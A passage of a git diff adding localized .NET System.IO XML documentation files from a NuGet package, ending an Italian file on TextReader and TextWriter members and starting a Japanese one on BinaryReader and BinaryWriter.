ricerca. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge il carattere successivo dal lettore di testo e fa avanzare di un carattere la posizione del carattere. + Carattere successivo del lettore di testo oppure -1 se non sono disponibili altri caratteri.L'implementazione predefinita restituisce -1. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che i dati siano disponibili all'interno del lettore o meno.Se viene chiamato quando non sono più disponibili altri caratteri da leggere, questo metodo restituirà zero. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del reader prima che il numero di caratteri specificato venga letto nel buffer, il metodo restituisce un risultato. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente e scrive i dati in un buffer, a partire dall'indice specificato. + Numero di caratteri letti.Il numero sarà minore o uguale a , a seconda che tutti i caratteri di input siano stati letti o meno. + Quando questo metodo viene restituito, questo parametro contiene la matrice di caratteri specificata con i valori compresi tra i parametri e ( + -1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere. + + è null. + La lunghezza del buffer meno è minore di . + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 2 + + + Legge un numero massimo specificato di caratteri dal lettore di testo corrente in modo asincrono e scrive i dati in un buffer, a partire dall'indice specificato. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro di contiene il numero totale di byte letti nel buffer.Il valore del risultato può essere minore del numero di byte richiesti se il numero di byte attualmente disponibili è minore di quelli richiesti o può essere pari a zero se è stata raggiunta la fine del testo. + Quando questo metodo viene restituito, contiene la matrice di caratteri specificata con valori compresi tra e ( + - 1) sostituiti con i caratteri letti dall'origine corrente. + Posizione in da cui iniziare la scrittura. + Numero massimo di caratteri da leggere.Se viene raggiunta la fine del testo prima che il numero di caratteri specificato venga letto nel buffer, il metodo corrente terminerà. + + è null. + Il valore di o è negativo. + La somma di e è maggiore della lunghezza del buffer. + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge una riga di caratteri dal lettore di testo e restituisce i dati come stringa. + Riga successiva dal lettore oppure null se tutti i caratteri sono stati letti. + Si è verificato un errore di I/O. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + La classe è chiusa. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge una riga di caratteri in modo asincrono e restituisce i dati come stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene la riga successiva del lettore di testo oppure è null se tutti i caratteri sono stati letti. + Il numero di caratteri nella riga successiva è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Legge tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Stringa contenente tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo. + Si è verificato un errore di I/O. + La classe è chiusa. + La memoria disponibile non è sufficiente per assegnare un buffer per la stringa restituita. + Il numero di caratteri nella riga successiva è maggiore di + 1 + + + Legge in modo asincrono tutti i caratteri dalla posizione corrente fino alla fine del lettore di testo e li restituisce come singola stringa. + Attività che rappresenta l'operazione di lettura asincrona.Il valore del parametro contiene una stringa con i caratteri compresi tra la posizione corrente e l'estremità del lettore di testo. + Il numero di caratteri è maggiore di . + Il lettore di testo è stato eliminato. + Il lettore è al momento utilizzato da un'operazione di lettura precedente. + + + Rappresenta un writer in grado di scrivere una serie sequenziale di caratteri.Questa classe è astratta. + 2 + + + Inizializza una nuova istanza della classe . + + + Inizializza una nuova istanza della classe con il provider di formato specificato. + Oggetto che controlla la formattazione. + + + Archivia i caratteri di nuova riga usati per questo TextWriter. + + + Rilascia tutte le risorse usate dall'oggetto . + + + Rilascia le risorse non gestite usate da e, facoltativamente, le risorse gestite. + true per rilasciare sia le risorse gestite sia quelle non gestite; false per rilasciare solo le risorse non gestite. + + + Se sottoposto a override in una classe derivata, restituisce la codifica caratteri in cui viene scritto l'output. + Codifica caratteri in cui viene scritto l'output. + 1 + + + Cancella i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + 1 + + + Cancella in modo asincrono i dati di tutti i buffer del writer corrente e consente la scrittura dei dati memorizzati nel buffer nel dispositivo sottostante. + Attività che rappresenta l'operazione di scaricamento asincrona. + Il writer di testo viene eliminato. + Il writer è attualmente utilizzato da un'operazione di scrittura precedente. + + + Ottiene un oggetto che controlla la formattazione. + Oggetto per impostazioni cultura specifiche oppure la formattazione delle impostazioni cultura correnti se non sono specificate altre impostazioni cultura. + 2 + + + Recupera o imposta la stringa di terminazione di riga usata dall'oggetto TextWriter corrente. + Stringa di terminazione di riga relativa all'oggetto TextWriter corrente. + 2 + + + Fornisce un oggetto TextWriter senza archivio di backup, in cui è possibile scrivere, ma da cui non è possibile leggere. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore Boolean. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere nella stringa o flusso di testo. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri nella stringa o flusso di testo. + Matrice di caratteri da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri nel flusso o nella stringa di testo. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore decimale. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 8 byte. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte con segno. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte con segno. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un oggetto chiamando il metodo ToString su tale oggetto. + Oggetto da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un valore a virgola mobile a 4 byte. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa nella stringa o nel flusso di testo. + Stringa da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + + o è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 4 byte senza segno. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nel flusso o nella stringa di testo la rappresentazione in forma di testo di un intero a 8 byte senza segno. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un carattere in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una matrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se è null, non viene scritta alcuna voce. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una sottomatrice di caratteri in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive una stringa in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se è null, nel flusso di testo non viene scritto alcun dato. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive un terminatore di riga nel flusso o nella stringa di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore Boolean, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore Boolean da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive nella stringa o nel flusso di testo un carattere seguito da un terminatore di riga. + Carattere da scrivere nel flusso di testo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Matrice di caratteri da cui vengono letti i dati. + Posizione del carattere in dalla quale avviare la lettura dei dati. + Numero massimo di caratteri da scrivere. + La lunghezza del buffer meno è minore di . + Il valore del parametro è null. + Il valore di o è negativo. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione in forma di testo di un valore decimale, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore decimale da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 8 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 8 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 4 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte con segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte con segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un oggetto chiamando il metodo ToString sull'oggetto, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Oggetto da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un valore a virgola mobile a 4 byte, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Valore a virgola mobile a 4 byte da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Stringa da scrivere.Se il parametro è null, verrà scritto solo il terminatore di riga. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è uno). + 1 + + + Scrive una stringa formattata e una nuova riga nella stringa o nel flusso di testo, usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è due). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Primo oggetto da formattare e scrivere. + Secondo oggetto da formattare e scrivere. + Terzo oggetto da formattare e scrivere. + + è null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale al numero di oggetti da formattare (che, per questo overload del metodo, è tre). + 1 + + + Scrive una stringa formattata e una nuova riga usando la stessa semantica del metodo . + Stringa in formato composito (vedere la sezione Note). + Matrice di oggetti che contiene zero o più oggetti da formattare e scrivere. + Viene passato un oggetto o una stringa come null. + La classe è chiusa. + Si è verificato un errore di I/O. + + non è una stringa di formato composto valido.-oppure- L'indice di un elemento di formato è minore di 0 (zero) o maggiore o uguale alla lunghezza della matrice . + 1 + + + Scrive la rappresentazione in forma di testo di un intero a 4 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 4 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive la rappresentazione testuale di un intero a 8 byte senza segno, seguita da un terminatore di riga, nella stringa o nel flusso di testo. + Intero a 8 byte senza segno da scrivere. + La classe è chiusa. + Si è verificato un errore di I/O. + 1 + + + Scrive un terminatore di riga in modo asincrono nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono un carattere seguito da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Carattere da scrivere nel flusso di testo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una matrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da scrivere nel flusso di testo.Se la matrice di caratteri è null, viene scritto solo il terminatore di riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una sottomatrice di caratteri seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Matrice di caratteri da cui scrivere i dati. + Posizione del carattere nel buffer da cui iniziare il recupero dei dati. + Numero di caratteri da scrivere. + + è null. + + e sono maggiori della lunghezza del buffer. + Il valore di o è negativo. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + Scrive in modo asincrono una stringa seguita da un terminatore di riga nella stringa o nel flusso di testo. + Attività che rappresenta l'operazione di scrittura asincrona. + Stringa da scrivere.Se il valore è null, verrà scritto solo il terminatore della riga. + Il writer di testo viene eliminato. + Il writer di testo è attualmente utilizzato da un'operazione di scrittura precedente. + + + \ No newline at end of file diff --git a/packages/System.IO.4.3.0/ref/netstandard1.3/ja/System.IO.xml b/packages/System.IO.4.3.0/ref/netstandard1.3/ja/System.IO.xml new file mode 100644 index 0000000..d62c1fb --- /dev/null +++ b/packages/System.IO.4.3.0/ref/netstandard1.3/ja/System.IO.xml @@ -0,0 +1,2264 @@ + + + + System.IO + + + + プリミティブ データ型を特定のエンコーディングのバイナリ値として読み取ります。 + 2 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 入力ストリーム。 + 使用する文字エンコーディング。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + は null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 入力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが読み取りをサポートしていないか、null であるか、既に閉じています。 + + または が null です。 + + + + の基になるストリームへのアクセスを公開します。 + BinaryReader に関連付けられた、基になるストリーム。 + 2 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + クラスによって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 指定したバイト数分だけストリームから読み取ったバイトを内部バッファーに格納します。 + 読み取るバイト数。 + + 分のバイトを読み取る前にストリームの末尾に到達しました。 + I/O エラーが発生しました。 + 要求された が、内部バッファー サイズより大きくなっています。 + + + 読み取り可能な次の文字を返します。バイトの位置または文字の位置は変化しません。 + 使用できる次の文字。使用できる文字がないか、ストリームがシークをサポートしていない場合は -1。 + I/O エラーが発生しました。 + 現在の文字は、ストリーム用に選択された を使用して内部文字バッファーにデコードできません。 + 2 + + + 基になるストリームから文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 入力ストリームの次の文字。現在読み取り可能な文字がない場合は -1。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + バイト配列内の指定された位置を開始点として、ストリームから指定されたバイト数を読み取ります。 + + に読み取るバイト数。要求したバイト数分のバイトを読み取れなかった場合、この値は要求したバイト数より小さくなります。ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取るバイト数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 文字配列内の指定された位置を開始点として、ストリームから指定された文字数を読み取ります。 + バッファーに読み取られた合計文字数。要求した文字数分の文字を読み取れなかった場合、この値は要求した文字数より小さくなります。また、ストリームの末尾に到達した場合は 0 になることがあります。 + データを読み取るバッファー。 + バッファー内の、バッファーへの読み取り開始点。 + 読み取る文字の数。 + バッファー長から を差し引いた値が より小さい値です。またはデコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + + は null です。 + + または が負の値です。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 32 ビット整数を圧縮形式で読み取ります。 + 圧縮形式の 32 ビット整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + ストリームが破損しています。 + + + 現在のストリームから Boolean 値を読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 読み取ったバイトが 0 以外の場合は true。0 の場合は false。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから次のバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った次のバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから指定されたバイト数をバイト配列に読み取り、そのバイト数だけストリーム内の現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されているバイト配列。ストリームの末尾に到達した場合は要求したバイト数より小さくなることがあります。 + 読み取るバイト数。この値は 0 以上の数字の必要があり、それ以外の場合は例外が発生します。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + が負の値です。 + 2 + + + 現在のストリームの次の文字を読み取り、使用した Encoding とストリームから読み取った特定の文字に従ってストリームの現在位置を進めます。 + 現在のストリームから読み取った文字。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + サロゲート文字が読み取られました。 + 2 + + + 現在のストリームから指定された文字数を読み取り、そのデータを文字配列として返します。また、使用した Encoding とストリームから読み取った特定の文字に従って現在位置を進めます。 + 基になるストリームから読み取ったデータが格納されている文字配列。ストリームの末尾に到達した場合は、要求された文字数より小さくなることがあります。 + 読み取る文字の数。 + デコードされた文字の数が を超えています。これは、Unicode デコーダーがフォールバック文字またはサロゲート ペアを返す場合に発生することがあります。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + + が負の値です。 + 2 + + + 現在のストリームから 10 進数値を読み取り、ストリームの現在位置を 16 バイトだけ進めます。 + 現在のストリームから読み取った 10 進数値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト浮動小数点値を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 2 バイト符号付き整数を読み取り、ストリームの現在位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号付き整数を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号付き整数を読み取り、ストリームの現在位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号付き整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから符号付きバイトを読み取り、ストリームの現在位置を 1 バイトだけ進めます。 + 現在のストリームから読み取った符号付きバイト。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト浮動小数点値を読み取り、ストリームの現在位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト浮動小数点値。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 1 つの文字列を読み取ります。ストリームの文字列は、7 ビットごとにエンコードされた文字列の長さが先頭に付加されています。 + 読み取った文字列。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + リトル エンディアン エンコーディングを使用して現在のストリームから 2 バイト符号なし整数を読み取り、ストリームの位置を 2 バイトだけ進めます。 + 現在のストリームから読み取った 2 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 4 バイト符号なし整数を読み取り、ストリームの位置を 4 バイトだけ進めます。 + 現在のストリームから読み取った 4 バイト符号なし整数。 + ストリームの末尾に到達しました。 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 2 + + + 現在のストリームから 8 バイト符号なし整数を読み取り、ストリームの位置を 8 バイトだけ進めます。 + 現在のストリームから読み取った 8 バイト符号なし整数。 + ストリームの末尾に到達しました。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 2 + + + プリミティブ型をバイナリでストリームに書き込みます。特定のエンコーディングの文字列の書き込みをサポートします。 + 2 + + + ストリームへの書き込みを行う クラスの新しいインスタンスを初期化します。 + + + 指定したストリームに基づき、UTF-8 エンコーディングを使用する クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + は null なので、 + + + 指定したストリームと文字エンコーディングに基づいて、 クラスの新しいインスタンスを初期化します。 + 出力ストリーム。 + 使用する文字エンコーディング。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + 指定したストリームと文字エンコーディングに基づいて クラスの新しいインスタンスを初期化し、必要に応じて、ストリームを開いたままにします。 + 出力ストリーム。 + 使用する文字エンコーディング。 + + オブジェクトを破棄した後にストリームを開いたままにする場合は true、それ以外の場合は false。 + ストリームが書き込みをサポートしていないか、既に閉じています。 + + または が null です。 + + + + の基になるストリームを取得します。 + BinaryWriter に関連付けられた、基になるストリーム。 + 1 + + + + クラスの現在のインスタンスによって使用されているすべてのリソースを解放します。 + + + + によって使用されているアンマネージ リソースを解放し、オプションでマネージ リソースも解放します。 + マネージ リソースとアンマネージ リソースの両方を解放する場合は true。アンマネージ リソースだけを解放する場合は false。 + + + 現在のライターのすべてのバッファーをクリアし、バッファー内のデータを基になるデバイスに書き込みます。 + 1 + + + バッキング ストアを持たない を指定します。 + 1 + + + 基になるストリームを保持します。 + + + 現在のストリーム内の位置を設定します。 + 現在のストリームの位置。 + + からのバイト オフセット。 + 新しい位置を取得するための参照ポイントを示す フィールド。 + ファイル ポインターが無効な位置に移動しました。 + + 値が無効です。 + 1 + + + 現在のストリームに 1 バイト Boolean 値を書き込みます。値 0 は false を表し、値 1 は true を表します。 + 書き込む Boolean 値 (0 または 1)。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに符号なしバイトを書き込み、ストリームの位置を 1 バイトだけ進めます。 + 書き込む符号なしバイト。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 基になるストリームにバイト配列を書き込みます。 + 書き込むデータが格納されているバイト配列。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は null なので、 + 1 + + + 現在のストリームにバイト配列の特定の領域を書き込みます。 + 書き込むデータが格納されているバイト配列。 + + 内の書き込み開始点。 + 書き込むバイト数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに Unicode 文字を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込む非サロゲート Unicode 文字。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + + は、単一のサロゲート文字です。 + 1 + + + 現在のストリームに文字配列を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + は null なので、 + ストリームが閉じられました。 + I/O エラーが発生しました。 + 1 + + + 現在のストリームに文字配列の特定の領域を書き込み、使用した Encoding とストリームに書き込んだ特定の文字に従ってストリームの現在位置を進めます。 + 書き込むデータを格納する文字配列。 + + 内の書き込み開始点。 + 書き込む文字数。 + バッファー長から を差し引いた値が より小さい値です。 + + は null なので、 + + または が負の値です。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 10 進数値を書き込み、ストリームの位置を 16 バイトだけ進めます。 + 書き込む 10 進値。 + I/O エラーが発生しました。 + ストリームが閉じられました。 + 1 + + + 現在のストリームに 8 バイト浮動小数点値を書き込み、ストリームの位置を 8 バイトだけ進めます。 + 書き込む 8 バイト浮動小数点値。 + I/O 